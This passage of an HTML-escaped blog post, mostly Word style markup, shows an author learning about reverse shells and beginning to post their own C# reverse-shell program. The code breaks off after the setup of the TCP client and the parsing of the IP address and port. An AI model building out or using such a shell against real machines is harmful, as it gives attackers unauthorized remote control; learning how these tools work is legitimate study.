  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;19&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Subtle Emphasis&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;21&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Intense Emphasis&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;31&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Subtle Reference&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;32&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Intense Reference&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;33&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Book Title&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;37&quot; Name=&quot;Bibliography&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; QFormat=&quot;true&quot; Name=&quot;TOC Heading&quot;/&gt;
 &lt;/w:LatentStyles&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 10]&gt;
&lt;style&gt;
 /* Style Definitions */
 table.MsoNormalTable
 {mso-style-name:&quot;Normaali taulukko&quot;;
 mso-tstyle-rowband-size:0;
 mso-tstyle-colband-size:0;
 mso-style-noshow:yes;
 mso-style-priority:99;
 mso-style-parent:&quot;&quot;;
 mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
 mso-para-margin-top:0cm;
 mso-para-margin-right:0cm;
 mso-para-margin-bottom:10.0pt;
 mso-para-margin-left:0cm;
 line-height:115%;
 mso-pagination:widow-orphan;
 font-size:11.0pt;
 font-family:&quot;Calibri&quot;,&quot;sans-serif&quot;;
 mso-ascii-font-family:Calibri;
 mso-ascii-theme-font:minor-latin;
 mso-hansi-font-family:Calibri;
 mso-hansi-theme-font:minor-latin;
 mso-bidi-font-family:&quot;Times New Roman&quot;;
 mso-bidi-theme-font:minor-bidi;
 mso-fareast-language:EN-US;}
&lt;/style&gt;
&lt;![endif]--&gt;

&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;I was quite
unfamiliar with the reverse shells so I wanted to understand the concept and
learn to make one of my own. I started googling and there were many examples
available for Linux environment. However, I wanted to get a reverse shell
between two Windows machines. I found one example and that was written with
CSharp which was even better: &lt;a href=&quot;https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15&quot;&gt;https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;I did not
get the sample code to work which had much to do with my lack of understanding.
But every failure is a great learning opportunity. I modified the original code
and the final code I came up with accepts command line parameters. So here is
my CSharp code for reverse shell:&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;using
System;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;using
System.Text;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;using
System.IO;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;using
System.Diagnostics;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;using
System.Net.Sockets;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;namespace
RevShell&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;class Program&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;static StreamWriter streamWriter;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;static Process p;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;//
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;//
https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;static void Main(string[] args)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;TcpClient client = null;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;Stream stream;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;StreamReader streamReader;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;StringBuilder strInput;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;string ipAddress =
&quot;127.0.0.1&quot;;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;int port = 0;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;// Commandline has IP and port number&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;if(args.Length == 2)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;ipAddress = args[0];&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;if (int.TryParse(args[1], out
port))&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;// Port number 1 - 65535&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;

&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot;&gt;
